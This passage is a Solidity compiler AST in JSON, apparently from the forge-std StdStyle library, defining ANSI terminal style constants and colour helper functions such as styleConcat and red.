hex\"1b5b336d\""},"value":"\u001b[3m"},"visibility":"internal"},{"id":9437,"nodeType":"VariableDeclaration","src":"594:39:9","nodes":[],"constant":true,"mutability":"constant","name":"UNDERLINE","nameLocation":"610:9:9","scope":10597,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9435,"name":"string","nodeType":"ElementaryTypeName","src":"594:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"value":{"hexValue":"1b5b346d","id":9436,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"622:11:9","typeDescriptions":{"typeIdentifier":"t_stringliteral_48cbbbbdbcd789b35edf67deaad6f96f406603d9181318ca90ef32f90fedb5bb","typeString":"literal_string hex\"1b5b346d\""},"value":"\u001b[4m"},"visibility":"internal"},{"id":9440,"nodeType":"VariableDeclaration","src":"639:37:9","nodes":[],"constant":true,"mutability":"constant","name":"INVERSE","nameLocation":"655:7:9","scope":10597,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9438,"name":"string","nodeType":"ElementaryTypeName","src":"639:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"value":{"hexValue":"1b5b376d","id":9439,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"665:11:9","typeDescriptions":{"typeIdentifier":"t_stringliteral_963e08c830a620b3640a99ac46ac6850f28c8f20be064518b3acc7016c3e286e","typeString":"literal_string hex\"1b5b376d\""},"value":"\u001b[7m"},"visibility":"internal"},{"id":9443,"nodeType":"VariableDeclaration","src":"682:35:9","nodes":[],"constant":true,"mutability":"constant","name":"RESET","nameLocation":"698:5:9","scope":10597,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9441,"name":"string","nodeType":"ElementaryTypeName","src":"682:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"value":{"hexValue":"1b5b306d","id":9442,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"706:11:9","typeDescriptions":{"typeIdentifier":"t_stringliteral_289c700ce2c600d61adfc66f83b41c26150052f3ea6c772e582ea6afd03d1949","typeString":"literal_string hex\"1b5b306d\""},"value":"\u001b[0m"},"visibility":"internal"},{"id":9463,"nodeType":"FunctionDefinition","src":"724:167:9","nodes":[],"body":{"id":9462,"nodeType":"Block","src":"823:68:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":9456,"name":"style","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9445,"src":"864:5:9","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":9457,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9447,"src":"871:4:9","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":9458,"name":"RESET","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9443,"src":"877:5:9","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":9454,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"847:3:9","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":9455,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"851:12:9","memberName":"encodePacked","nodeType":"MemberAccess","src":"847:16:9","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":9459,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"847:36:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":9453,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"840:6:9","typeDescriptions":{"typeIdentifier":"t_type$_t_string_storage_ptr_$","typeString":"type(string storage pointer)"},"typeName":{"id":9452,"name":"string","nodeType":"ElementaryTypeName","src":"840:6:9","typeDescriptions":{}}},"id":9460,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"840:44:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":9451,"id":9461,"nodeType":"Return","src":"833:51:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"styleConcat","nameLocation":"733:11:9","parameters":{"id":9448,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9445,"mutability":"mutable","name":"style","nameLocation":"759:5:9","nodeType":"VariableDeclaration","scope":9463,"src":"745:19:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9444,"name":"string","nodeType":"ElementaryTypeName","src":"745:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":9447,"mutability":"mutable","name":"self","nameLocation":"780:4:9","nodeType":"VariableDeclaration","scope":9463,"src":"766:18:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9446,"name":"string","nodeType":"ElementaryTypeName","src":"766:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"744:41:9"},"returnParameters":{"id":9451,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9450,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9463,"src":"808:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9449,"name":"string","nodeType":"ElementaryTypeName","src":"808:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"807:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"private"},{"id":9476,"nodeType":"FunctionDefinition","src":"897:117:9","nodes":[],"body":{"id":9475,"nodeType":"Block","src":"968:46:9","nodes":[],"statements":[{"expression":{"arguments":[{"id":9471,"name":"RED","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9410,"src":"997:3:9","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":9472,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9465,"src":"1002:4:9","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9470,"name":"styleConcat","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9463,"src":"985:11:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory) pure returns (string memory)"}},"id":9473,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"985:22:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":9469,"id":9474,"nodeType":"Return","src":"978:29:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"red","nameLocation":"906:3:9","parameters":{"id":9466,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9465,"mutability":"mutable","name":"self","nameLocation":"924:4:9","nodeType":"VariableDeclaration","scope":9476,"src":"910:18:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9464,"name":"string","nodeType":"ElementaryTypeName","src":"910:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"909:20:9"},"returnParameters":{"id":9469,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9468,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9476,"src":"953:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9467,"name":"string","nodeType":"ElementaryTypeName","src":"953:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"952:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":9491,"nodeType":"FunctionDefinition","src":"1020:111:9","nodes":[],"body":{"id":9490,"nodeType":"Block","src":"1085:46:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":9486,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9478,"src":"1118:4:9","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":9484,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"1106:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":9485,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1109:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13441,"src":"1106:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$returns$_t_string_memory_ptr_$","typeString":"function (uint256) pure external returns (string memory)"}},"id":9487,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1106:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9483,"name":"red","nodeType":"Identifier","overloadedDeclarations":[9476,9491,9506,9521,9536],"referencedDeclaration":9476,"src":"1102:3:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":9488,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1102:22:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":9482,"id":9489,"nodeType":"Return","src":"1095:29:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"red","nameLocation":"1029:3:9","parameters":{"id":9479,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9478,"mutability":"mutable","name":"self","nameLocation":"1041:4:9","nodeType":"VariableDeclaration","scope":9491,"src":"1033:12:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":9477,"name":"uint256","nodeType":"ElementaryTypeName","src":"1033:7:9","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1032:14:9"},"returnParameters":{"id":9482,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9481,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9491,"src":"1070:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9480,"name":"string","nodeType":"ElementaryTypeName","src":"1070:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"1069:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":9506,"nodeType":"FunctionDefinition","src":"1137:110:9","nodes":[],"body":{"id":9505,"nodeType":"Block","src":"1201:46:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":9501,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9493,"src":"1234:4:9","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"}],"expression":{"id":9499,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"1222:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":9500,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1225:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13449,"src":"1222:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$returns$_t_string_memory_ptr_$","typeString":"function (int256) pure external returns (string memory)"}},"id":9502,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1222:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9498,"name":"red","nodeType":"Identifier","overloadedDeclarations":[9476,9491,9506,9521,9536],"referencedDeclaration":9476,"src":"1218:3:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":9503,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1218:22:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":9497,"id":9504,"nodeType":"Return","src":"1211:29:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"red","nameLocation":"1146:3:9","parameters":{"id":9494,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9493,"mutability":"mutable","name":"self","nameLocation":"1157:4:9","nodeType":"VariableDeclaration","scope":9506,"src":"1150:11:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":9492,"name":"int256","nodeType":"ElementaryTypeName","src":"1150:6:9","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"1149:13:9"},"returnParameters":{"id":9497,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9496,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9506,"src":"1186:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9495,"name":"string","nodeType":"ElementaryTypeName","src":"1186:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"1185:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":9521,"nodeType":"FunctionDefinition","src":"1253:111:9","nodes":[],"body":{"id":9520,"nodeType":"Block","src":"1318:46:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":9516,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9508,"src":"1351:4:9","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":9514,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"1339:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":9515,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1342:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13409,"src":"1339:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_address_$returns$_t_string_memory_ptr_$","typeString":"function (address) pure external returns (string memory)"}},"id":9517,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1339:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9513,"name":"red","nodeType":"Identifier","overloadedDeclarations":[9476,9491,9506,9521,9536],"referencedDeclaration":9476,"src":"1335:3:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":9518,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1335:22:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":9512,"id":9519,"nodeType":"Return","src":"1328:29:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"red","nameLocation":"1262:3:9","parameters":{"id":9509,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9508,"mutability":"mutable","name":"self","nameLocation":"1274:4:9","nodeType":"VariableDeclaration","scope":9521,"src":"1266:12:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":9507,"name":"address","nodeType":"ElementaryTypeName","src":"1266:7:9","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1265:14:9"},"returnParameters":{"id":9512,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9511,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9521,"src":"1303:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9510,"name":"string","nodeType":"ElementaryTypeName","src":"1303:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"1302:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":9536,"nodeType":"FunctionDefinition","src":"1370:108:9","nodes":[],"body":{"id":9535,"nodeType":"Block","src":"1432:46:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":9531,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9523,"src":"1465:4:9","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":9529,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"1453:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":9530,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1456:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13433,"src":"1453:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$returns$_t_string_memory_ptr_$","typeString":"function (bool) pure external returns (string memory)"}},"id":9532,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1453:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9528,"name":"red","nodeType":"Identifier","overloadedDeclarations":[9476,9491,9506,9521,9536],"referencedDeclaration":9476,"src":"1449:3:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":9533,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1449:22:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":9527,"id":9534,"nodeType":"Return","src":"1442:29:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"red","nameLocation":"1379:3:9","parameters":{"id":9524,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9523,"mutability":"mutable","name":"self","nameLocation":"1388:4:9","nodeType":"VariableDeclaration","scope":9536,"src":"1383:9:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":9522,"name":"bool","nodeType":"ElementaryTypeName","src":"1383:4:9","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"1382:11:9"},"returnParameters":{"id":9527,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9526,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9536,"src":"1417:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9525,"name":"string","nodeType":"ElementaryTypeName","src":"1417:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"1416:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":9551,"nodeType":"FunctionDefinition","src":"1484:121:9","nodes":[],"body":{"id":9550,"nodeType":"Block","src":"1559:46:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":9546,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9538,"src":"1592:4:9","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":9544,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"1580:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":9545,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1583:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13417,"src":"1580:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bytes_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (bytes memory) pure external returns (string memory)"}},"id":9547,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1580:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9543,"name":"red","nodeType":"Identifier","overloadedDeclarations":[9476,9491,9506,9521,9536],"referencedDeclaration":9476,"src":"1576:3:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":9548,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1576:22:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":9542,"id":9549,"nodeType":"Return","src":"1569:29:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"redBytes","nameLocation":"1493:8:9","parameters":{"id":9539,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9538,"mutability":"mutable","name":"self","nameLocation":"1515:4:9","nodeType":"VariableDeclaration","scope":9551,"src":"1502:17:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":9537,"name":"bytes","nodeType":"ElementaryTypeName","src":"1502:5:9","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"1501:19:9"},"returnParameters":{"id":9542,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9541,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9551,"src":"1544:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9540,"name":"string","nodeType":"ElementaryTypeName","src":"1544:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"1543:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":9566,"nodeType":"FunctionDefinition","src":"1611:118:9","nodes":[],"body":{"id":9565,"nodeType":"Block","src":"1683:46:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":9561,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9553,"src":"1716:4:9","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":9559,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"1704:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":9560,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1707:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13425,"src":"1704:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bytes32_$returns$_t_string_memory_ptr_$","typeString":"function (bytes32) pure external returns (string memory)"}},"id":9562,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1704:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9558,"name":"red","nodeType":"Identifier","overloadedDeclarations":[9476,9491,9506,9521,9536],"referencedDeclaration":9476,"src":"1700:3:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":9563,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1700:22:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":9557,"id":9564,"nodeType":"Return","src":"1693:29:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"redBytes32","nameLocation":"1620:10:9","parameters":{"id":9554,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9553,"mutability":"mutable","name":"self","nameLocation":"1639:4:9","nodeType":"VariableDeclaration","scope":9566,"src":"1631:12:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":9552,"name":"bytes32","nodeType":"ElementaryTypeName","src":"1631:7:9","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"1630:14:9"},"returnParameters":{"id":9557,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9556,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9566,"src":"1668:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9555,"name":"string","nodeType":"ElementaryTypeName","src":"1668:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"1667:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":9579,"nodeType":"FunctionDefinition","src":"1735:121:9","nodes":[],"body":{"id":9578,"nodeType":"Block","src":"1808:48:9","nodes":[],"statements":[{"expression":{"arguments":[{"id":9574,"name":"GREEN","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9413,"src":"1837:5:9","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":9575,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9568,"src":"1844:4:9","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string 